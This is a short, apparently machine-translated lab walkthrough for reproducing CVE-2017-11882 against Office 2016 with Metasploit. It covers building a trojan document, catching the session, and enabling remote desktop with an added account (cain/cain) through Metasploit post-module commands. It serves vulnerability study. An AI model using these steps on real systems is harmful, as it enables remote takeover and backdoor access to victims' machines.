CVE_ 2017_ 11882 vulnerability recurrence (Metasploit opens NT remote desktop to add an account)

Target installation windows office 2016

2.rb Copy files to the attacker msf And refresh

Note here ：msf Put it under the library file Out-of-service -   Only underline _ Otherwise refresh the library Do not recognize

3. Set parameters Run and build Trojan horse doc

4. Run monitor Target execution Trojan

Be careful : This connection will not directly echo , Need to use seesions –i 1 The way to link bounce

5. Turn on Remote Desktop       run post/windows/manage/enable_rdp

6. Add remote desktop password run post/windows/manage/enable_rdp USERNAME=cain PASSWORD=cain

7. Connect to remote desktop   command : rdesktop 192.168.128.6